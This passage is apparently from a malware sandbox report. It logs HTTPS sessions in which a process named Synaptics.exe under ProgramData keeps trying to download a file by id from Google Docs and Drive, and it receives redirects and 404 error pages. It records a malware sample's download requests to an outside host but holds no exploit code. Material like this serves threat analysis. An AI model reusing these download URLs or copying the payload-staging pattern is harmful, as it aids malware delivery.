2025-01-02 19:10:52 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 53 72 34 4b 79 77 59 47 58 66 46 72 34 53 70 4f 66 66 55 53 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="GSr4KywYGXfFr4SpOffUSw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:10:52 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49756	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:53 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:53 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:53 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-0UV6LUA4uuVr_Io3ng7jRg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49757	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:53 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:53 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:53 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-MFMtSf33qRVDfeBP1xy_3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49759	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:53 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:10:53 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5NuUC8g644Iya9IucrI7RQiy6uteBs4v2Civ8rKvixyiWL09lu0wYFxwOCLsQYpCxA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:53 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-wgifM7y61Mc8HVBSDCrk9w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:53 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:10:53 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4b 67 62 4d 57 67 32 37 66 67 58 30 55 46 79 45 5a 58 52 50 67 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="KgbMWg27fgX0UFyEZXRPgg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:10:53 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49758	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:53 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:10:54 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC61hmVmVqe6GKHone9iWm94CD_YnfFycv8HcKPidX3GS0cPslZNq-oJ72PJOoMBro1QAxbQW8E Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:53 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-2YiAOvUZN_Z3mHgMfNFR0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:54 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:10:54 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 67 75 4f 43 32 6e 4b 6d 35 70 73 63 59 57 71 33 63 50 48 74 43 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="guOC2nKm5pscYWq3cPHtCQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:10:54 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	55996	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:54 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	55997	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:54 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	55998	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:54 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:10:54 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6c3XIAVCTy1HJnu2ExNX0kofmvgmkvUAd7QG-H_cHcNKWGT-EVj7imGYnWGZFV83gc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:54 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-xndgHBXuvM3iGWt-nkeNnw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:54 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:10:54 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 2d 55 64 49 76 77 38 31 79 44 62 6e 6c 6a 70 6a 33 70 4d 54 62 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="-UdIvw81yDbnljpj3pMTbQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:10:54 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	56001	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:55 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:55 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-nxGMd8rVtDbyo42PASo8eg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	56000	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:55 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:55 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-9ZkkdnEWdPNO_JNgARP3_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	56006	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:56 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:56 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-1j8sIKZMIPPhbREUBG8vzA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	56008	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:56 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
